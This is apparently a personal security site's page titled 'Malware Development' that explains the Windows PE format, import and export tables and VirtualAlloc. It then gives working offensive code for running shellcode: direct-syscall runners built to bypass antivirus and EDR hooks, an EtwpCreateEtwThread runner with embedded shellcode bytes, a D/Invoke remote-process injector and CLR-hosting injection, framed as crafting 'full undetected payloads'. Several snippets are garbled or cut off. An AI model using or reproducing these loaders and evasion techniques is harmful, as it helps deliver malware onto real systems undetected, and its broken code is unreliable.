0xbugatti About me
Malware Development
- Malware Development

Malware Development

Here We Will Discuss Malware Development Basics And How Attackers/Red Teamers Could Craft Full Undetected Payloads And Much Resources You could Follow to monitor Last changes on that field

by @0xbugatti

Basics & Introduction

Portable Executable PE

  • Notes

    • Executable files are loaded into the address space of a process using a memory mapped image file
    • format is a file format for executables ,object code, DLLs Files
    • The PE format is a data structure that encapsulates the information make
    • Windows OS loader
      • manage the manage the wrapped executable code
      • Map (Load) it in the memory as a process By Dynamic Linker
  • EXE [Program can be laoded in the memory as Independant Process]

    • Full Abstraction PE Small PE Full
    • Small Abstraction PE Full
  • Components

    • Headers
    • dynamic library references for linking
    • API export and import table import address table (IAT) 1. used as a lookup table when the application is calling a function in a different module(DLL). 2. can be in the form of both import by ordinal and import by name 3. dynamic linker loads modules joins them together writes actual addresses into the IAT slots, so that they point to the memory locations of the corresponding library functions.
    • Sectinosdifferent regions, each of which require different memory protection
      • Help Dynamic Linker To Map Process in Memory
      • the start of each section must be aligned to a page boundary
      • start of each section must be aligned to a page boundary]
        • .text [Code] R|X
        • .data [Global Variables] NX|W|R
        • .rsrc [Pictures -Icons - Manifest - ShellCode - Another PE(DLL|EXE)]
          • Native : OS Loader Called Main Function
          • .NET: CLR Run Directly Main Function From the Class because it is static
    • .NET, metadata, and the PE format > .Net Execcutables Breif the PE code section contains a stub that invokes the [CLR]virtual machine startup entry, _CorExeMain or _CorDllMain in mscoree.dll,
    • The virtual machine then makes use of .NET metadata in reflection
    • The CLR-related data, including the root structure itself, is typically contained in the common code section, .text. It is composed of a few directories: metadata, embedded resources, strong names and a few for native-code interoperability. Metadata directory is a set of tables
  • DLL [Libraries] [PE Modules Loaded to existing Process and Cant Run Independantlly in Memory]

OS Loader Created Process In memory and This Process needs Dll
  1. Loader Reads Dll From the Disk
  2. Reserve Some Memory Space(Buffer) in Target Process
  3. Loads Dll in the Space
  4. Called DLL Entry Point (DLLMain) which intialize Library
  5. Loader Import Needed Dll-Exported Functions by process From From Memory Space

Loading Steps In Details How OS Loader Identify Imported Functions

ImportAdressTable IAT Headers Passed From IMAGE_IMPORT_DESCRIPTOR in Exe to Loader to Identify Needed Functions
typedef struct _IMAGE_IMPORT_DESCRIPTOR{ 
union{ DWORD *Characteristics;
    DWORD OriginalFirstThunk;
    //Pointer To to Import Lookup Table(Array) [Drawing is False] 
    }
XXXenjaDUmmyName;
DWORD TimeDataStamp; 
DWORD ForawrdedChain; //The index of the first forwarder chain reference
DWORD *Name; //const Pointer to char (string) to Dll Name 
DWORD* FirstThunk; //Pointer to Import Address Table(Array) RVA 
}IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR; 

Steps of Function Importing

Tables
Import Address TableHint/NameTableImport Lookup Table
Table to Store Addresses of Called Functions After Loading by OS LoaderTable Contain 1.Called Function Hint (Index of it in EAT) 2.Called Function NameTable Pointes to Hint/Name Table Elemets sells the loaderwhich functions are needed from the imported DLL
  1. OS Loader Get the Name of Dll Like examp32.dll
  2. OSLoader Load Library to the Process Memory
  3. OS Loader Start Parce Export Table Depends on The ILT (Import LookUp Table) Information
  4. First OSLoader Search The Called Function By Index Like: 30 to get its RVA From EAT calling By Ordinary Number Method
  5. Then if it Failed search by Function Name Like: FuncEX Calling By Name Method For Performance Enhancing
  6. OS Loader Store The Got RVA like 0xffe42a2c from EAT in IAT [Import Address Table] What is EAT? How OS Loader Find Addresses of Imported Functions?How Is The Searching Done? ##### ExportAdressTable EAT Headers Passed From IMAGE_EXPORT_DIRECTORY Struct in Dll which needed by Loader
typedef struct _IMAGE_EXPORT_DIRECTORY {
  DWORD Characteristics;
  DWORD TimeDataStamp;
  WORD MajorVersion;
  WORD MinorVerion;
  DWORD Name; //const Pointer to char (string) to Dll Name
  DWORD Base;   //First Ordinal Number
  DWORD NumberOfFunctions;//Number ofElements in EAT (Size)
  DWORD NumberOfNames;//Number Of all Function Names mesuared From
  DWORD AddressOfFunctions[]; //Export Address Table(Array)[EAT] [Function Addresses]
 DWORD AddressOfNames[];//Array of const Pointers to char (strings) to Names Function in EAT
 DWORD AddressOfNameOrdinals[]; //Array of indexes to EAT (Const Order)(Ordinal as String) (Function called By Ordinal)
    
    
}IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Steps of Function Address Importing From Export Table

Calling Function By Name Let Suppose That we Need To Call Dll-Exported Function (“Name4”)
  1. OS Loader Fetch all AddressofNames[]
  2. Compare Every Name to th Target Function Name Name4 Until it is Found
  3. Now We Have The Index of Element Contain FoundName in The AddressofNames[] array
  4. Go to The Same Index in AddressOfNameOrdinals[] array to Some Value in This Index
  5. Founded Value is The Index of Elment Contain Target Function Address “Name4” RVA (Relative Virtual Address) in AddressOfFunctions[] EAT
  6. We Go to the AddressOfFunctions[] EAT and Get Value in Elment which index we determined and this Value is like 0xaf474e55a RVA (Relative Virtual Address) of Function
Calling Function By Ordinal Number Let Suppose That we Need To Call Function (2)
  1. OS Loader Fetch Base Number of Dll From Export Directory
  2. Substruct Ordinal Number 2 From Base Number
  3. Result is Index of Elment Contain Target Function Address 2 RVA (Relative Virtual Address) in AddressOfFunctions[] EAT array
  4. We Go to the AddressOfFunctions[] EAT and Get Value in Elment which index we determined and this Value is like 0xaf474e55a RVA (Relative Virtual Address) of Function

Forwarding

  • Some Functions in High Address Memory Region or takes small reserved size
  • its actually note coded its just a string value in .rdata section
AcquireSRWLockShared.NTDLL.RtlAcquireSRWLockShared
  • which is Do Forwarding Operation For this Function Calling to Be Called From another Dll

Windows APIs

Group of Dynamic Libraries Dlls Allow Developers To Handle Windows OS

  • GUI Functionalities

  • Dealing with Kernel

  • Windows Internals

  • VirtualAlloc

    Reserves|changes the state of a region of pages in the virtual address space of the process which calling it Memory allocated by this function is automatically initialized to zeros

ParameterData TypeFunctionalityValueReson
lpAddressLPVOID IntPtrAddress To Start Allocating0AutoSelection
dwsizeSIZE_T uintSize Of Allocated MemoryShellCodeSize
fAllocationTyoeDWORD uintAllocation State0x10000x2000
flProtectDWORD uintPermissionsProtections0x04EXEC,READ,WRITE
Returned ValueReturned DataType
Base address of the allocated regionLPVOID IntPtr
  • C#
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling=true)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);IntPtrShellCodeAddr=VirtualAlloc(IntPtr.Zero(uint)shellcodeBytes.Length,0x1000,0x40);
  • C++ DirectCall
    void* exec_mem = VirtualAlloc(0, payload_len, 0x1000 | 0x2000, 0x04);
    
  • C++ Runtime
    VirtualAllocRunTimeFunction HookedVirtualAlloc     =       (VirtualAllocRunTimeFunction)GetProcAddress(LoadLibrary(L"kernel32.dll"), "VirtualAlloc");void* exec_mem = HookedVirtualAlloc(0, payload_len, 0x1000|0x2000, 0x04);
    
  • VB
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll" _ (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 
    
- C# Runtime
```csharp
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string dllName);
    [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    IntPtr hKernel32 = LoadLibrary("kernel32.dll");
    IntPtr VirtualAllocptr = GetProcAddress(hKernel32, "VirtualAlloc");

    VirtualAllocDelegate VirtualAlloc_Runtime = (VirtualAllocDelegate) Marshal.GetDelegateForFunctionPointer(VirtualAllocptr, typeof (VirtualAllocDelegate));

    IntPtr ShellCodeAddr = VirtualAlloc_Runtime(IntPtr.Zero, (uint) shellcodeBytes.Length, 0x1000, 0x40);
    [DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string dllName);
    [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    IntPtr hKernel32 = LoadLibrary("kernel32.dll");
    IntPtr VirtualAllocptr = GetProcAddress(hKernel32, "VirtualAlloc");
    VirtualAllocDelegate VirtualAlloc_Runtime = (VirtualAllocDelegate) Marshal.GetDelegateForFunctionPointer(VirtualAllocptr, typeof (VirtualAllocDelegate));
    IntPtr ShellCodeAddr = VirtualAlloc_Runtime(IntPtr.Zero, (uint) shellcodeBytes.Length, 0x1000, 0x40);

  • PowerShell Runtime
 function LookupFunc {    
 Param ($moduleName, $functionName)    
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')    
$tmp=@()    
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}    
return $tmp[0].Invoke($null,@(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))


}


function getDelegateType {

Param ([Parameter(Position = 0, Mandatory = $True)] 
[Type[]] $func, [Parameter(Position = 1)] 
[Type] $delType = [Void])$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$type.DefineConstructor('RTSpecialName,HideBySig,Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')$type.DefineMethod('Invoke', 'Public, HideBySig,NewSlot,Virtual',$delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()

}
$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

Offensive Programming

C#

VBA

C++ Coming Soon from me

Shell Code

Shellcode Hiding

Shell Code Execution

https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners

  • Using SysCalls #Links

    #include "pch.h"
    #include <Windows.h>
    #include "winternl.h"
    #pragma comment(lib, "ntdll")
    //https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs
    EXTERN_C NTSTATUS SysNtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
    int main()
    {
    	FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
    	OBJECT_ATTRIBUTES oa;
    	HANDLE fileHandle = NULL;
    	NTSTATUS status = NULL;
    	UNICODE_STRING fileName;
    	I
    	O_STATUS_BLOCK osb;
    	RtlInitUnicodeString(&fileName, (PCWSTR) L "\\??\\c:\\temp\\test.txt");
    	ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
    	InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    	SysNtCreateFile(&fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
    	return 0;
    }
    
    #include <iostream>
    #include <Windows.h>
    #include "syscalls.h"
    
    int main() {
        // Insert Meterpreter shellcode
        unsigned char code[] = "\xa6\x12\xd9...";
    
    
        LPVOID allocation_start;
        SIZE_T allocation_size = sizeof(code);
        HANDLE hThread;
        NTSTATUS status;
    
        allocation_start = nullptr;
    
    
        // Allocate Virtual Memory 
        NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    
        // Copy shellcode into allocated memory
        NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0);
    
    
        // Execute shellcode in memory 
        NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
    
    
        // Wait for the end of the thread and close the handle
        NtWaitForSingleObject(hThread, FALSE, NULL);
        NtClose(hThread);
    
        return 0;
    }
    
    //file.h
    #pragma once
    
    // Code below is adapted from @modexpblog. Read linked article for more details.
    // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
    
    #ifndef SW2_HEADER_H_
    #define SW2_HEADER_H_
    
    #include <windows.h>
    
    #define SW2_SEED 0xA5A7F756
    #define SW2_ROL8(v) (v << 8 | v >> 24)
    #define SW2_ROR8(v) (v >> 8 | v << 24)
    #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
    #define SW2_MAX_ENTRIES 500
    #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
    
    // Typedefs are prefixed to avoid pollution.
    
    typedef struct _SW2_SYSCALL_ENTRY
    {
        DWORD Hash;
        DWORD Address;
    } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
    
    typedef struct _SW2_SYSCALL_LIST
    {
        DWORD Count;
        SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
    } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
    
    typedef struct _SW2_PEB_LDR_DATA {
    	BYTE Reserved1[8];
    	PVOID Reserved2[3];
    	LIST_ENTRY InMemoryOrderModuleList;
    } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
    
    typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
    	PVOID Reserved1[2];
    	LIST_ENTRY InMemoryOrderLinks;
    	PVOID Reserved2[2];
    	PVOID DllBase;
    } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
    
    typedef struct _SW2_PEB {
    	BYTE Reserved1[2];
    	BYTE BeingDebugged;
    	BYTE Reserved2[1];
    	PVOID Reserved3[2];
    	PSW2_PEB_LDR_DATA Ldr;
    } SW2_PEB, *PSW2_PEB;
    
    DWORD SW2_HashSyscall(PCSTR FunctionName);
    BOOL SW2_PopulateSyscallList(void);
    EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
    
    #ifndef InitializeObjectAttributes
    #define InitializeObjectAttributes( p, n, a, r, s ) { \
    	(p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    	(p)->RootDirectory = r;                           \
    	(p)->Attributes = a;                              \
    	(p)->ObjectName = n;                              \
    	(p)->SecurityDescriptor = s;                      \
    	(p)->SecurityQualityOfService = NULL;             \
    }
    #endif
    
    typedef struct _PS_ATTRIBUTE
    {
    	ULONG  Attribute;
    	SIZE_T Size;
    	union
    	{
    		ULONG Value;
    		PVOID ValuePtr;
    	} u1;
    	PSIZE_T ReturnLength;
    } PS_ATTRIBUTE, *PPS_ATTRIBUTE;
    
    typedef struct _UNICODE_STRING
    {
    	USHORT Length;
    	USHORT MaximumLength;
    	PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    typedef struct _OBJECT_ATTRIBUTES
    {
    	ULONG           Length;
    	HANDLE          RootDirectory;
    	PUNICODE_STRING ObjectName;
    	ULONG           Attributes;
    	PVOID           SecurityDescriptor;
    	PVOID           SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
    
    typedef struct _PS_ATTRIBUTE_LIST
    {
    	SIZE_T       TotalLength;
    	PS_ATTRIBUTE Attributes[1];
    } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
    
    EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    	IN HANDLE ProcessHandle,
    	IN OUT PVOID * BaseAddress,
    	IN ULONG ZeroBits,
    	IN OUT PSIZE_T RegionSize,
    	IN ULONG AllocationType,
    	IN ULONG Protect);
    
    EXTERN_C NTSTATUS NtWriteVirtualMemory(
    	IN HANDLE ProcessHandle,
    	IN PVOID BaseAddress,
    	IN PVOID Buffer,
    	IN SIZE_T NumberOfBytesToWrite,
    	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
    
    EXTERN_C NTSTATUS NtCreateThreadEx(
    	OUT PHANDLE ThreadHandle,
    	IN ACCESS_MASK DesiredAccess,
    	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    	IN HANDLE ProcessHandle,
    	IN PVOID StartRoutine,
    	IN PVOID Argument OPTIONAL,
    	IN ULONG CreateFlags,
    	IN SIZE_T ZeroBits,
    	IN SIZE_T StackSize,
    	IN SIZE_T MaximumStackSize,
    	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
    
    EXTERN_C NTSTATUS NtWaitForSingleObject(
    	IN HANDLE ObjectHandle,
    	IN BOOLEAN Alertable,
    	IN PLARGE_INTEGER TimeOut OPTIONAL);
    
    EXTERN_C NTSTATUS NtClose(
    	IN HANDLE Handle);
    
    EXTERN_C NTSTATUS NtFreeVirtualMemory(
    	IN HANDLE ProcessHandle,
    	IN OUT PVOID * BaseAddress,
    	IN OUT PSIZE_T RegionSize,
    	IN ULONG FreeType);
    
    #endif
    
  • using EtwpCreateEtwThread

    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    
    namespace EtwpTest
    {
        class Program
        {
            static void Main(string[] args)
            {
                byte[] shellcode = { };
    
                byte[] calc32bitShellCode = new byte[]
                {
                    0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
                    0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
                    0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
                    0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
                    0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
                    0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                    0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
                    0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
                    0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
                    0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
                    0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
                    0x61,0x6c,0x63,0x00
                };
    
                byte[] calc64bitShellCode = new byte[]
                {
                    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                    0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                    0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                    0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                    0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                    0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                    0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                    0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                    0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                    0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                    0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                    0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                    0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
                };
                if (IntPtr.Size  4)
                {
                    shellcode = calc32bitShellCode;
                }
                else
                {
                    shellcode = calc64bitShellCode;
                }
    
                IntPtr procHandle = Process.GetCurrentProcess().Handle;
    
                IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
                UIntPtr bytesWritten;
                WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);
    
                EtwpCreateEtwThread(allocMemAddress, IntPtr.Zero);
    
                Console.ReadLine();
            }
    
            [DllImport("kernel32.dll")]
            public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
            [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
            public static extern IntPtr GetModuleHandle(string lpModuleName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
            static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
            [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
            static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
                uint dwSize, uint flAllocationType, uint flProtect);
    
            [DllImport("kernel32.dll", SetLastError = true)]
            static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
    
            [DllImport("kernel32.dll")]
            static extern IntPtr CreateRemoteThread(IntPtr hProcess,
                IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    
            [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = true)]
            static extern IntPtr EtwpCreateEtwThread(IntPtr lpStartAddress, IntPtr lpParameter);
    
            const int PROCESS_CREATE_THREAD = 0x0002;
            const int PROCESS_QUERY_INFORMATION = 0x0400;
            const int PROCESS_VM_OPERATION = 0x0008;
            const int PROCESS_VM_WRITE = 0x0020;
            const int PROCESS_VM_READ = 0x0010;
    
    
            const uint MEM_COMMIT = 0x00001000;
            const uint MEM_RESERVE = 0x00002000;
            const uint PAGE_READWRITE = 4;
            const uint PAGE_EXECUTE_READWRITE = 0x40;
        }
    }
    
  • SetWindowHookEx

  • APC queue

  • CreateRemoteThread

  • CreateRemoteThread Dinvoke


 // stolen from https://rastamouse.me/blog/process-injection-dinvoke/
using System;
using System.IO;
using System.Runtime.InteropServices;
using SharpSploit.Execution.DynamicInvoke;
namespace InjectionTest{
class Program
{
static void Main(string[] args)
{

var shellcode = File.ReadAllBytes(args[0]);
var pointer = Generic.GetLibraryAddress(“kernel32.dll”, “OpenProcess”);
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “VirtualAllocEx”);
var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “WriteProcessMemory”);

var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “CreateRemoteThread”);
var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);

  

}

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

}}

  • .Net Handeling

    • CLRCreateInstance is used to retrieve an interface ICLRMetaHost`
    • ICLRMetaHost->GetRuntime is used to retrieve interface for a specified CLR versionICLRRuntimeInfo`
    • ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHost
    • ICLRRuntimeHost->Start is used to initialize the CLR into the current process
    • ICLRRuntimeHost->EecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument
    • Inject Using CLR https://github.com/Vacko/Managed-code-injection
    // code mostly stolen from pabloko's comment in https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2#include <iostream>
    #include <metahost.h>
    #include <corerror.h>
    
    #pragma comment(lib, "mscoree.lib")
    int main()
    {
    	ICLRMetaHost *metaHost = NULL;
    	ICLRRuntimeInfo *runtimeInfo = NULL;
    	ICLRRuntimeHost *runtimeHost = NULL;
    	DWORD pReturnValue;
    	CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*) &metaHost);
    	metaHost->GetRuntime(L "v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*) &runtimeInfo);
    	runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*) &runtimeHost);
    	runtimeHost->Start();
    	HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L "C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L "CLRHello1.Program", L "spotlessMethod", L "test", &pReturnValue);
    	if (res  S_OK)
    	{
    		std::cout << "CLR executed successfully\n";
    	}
    
    	runtimeInfo->Release();
    	metaHost->Release();
    	runtimeHost->Release();
    	return 0;
    }
    
  • Execution Via CreateFiber instead of CreateThread

    
    #include <Windows.h>
    int main(){    
    #convert main thread to fiber    
    PVOID mainFiber = ConvertThreadToFiber(NULL);    
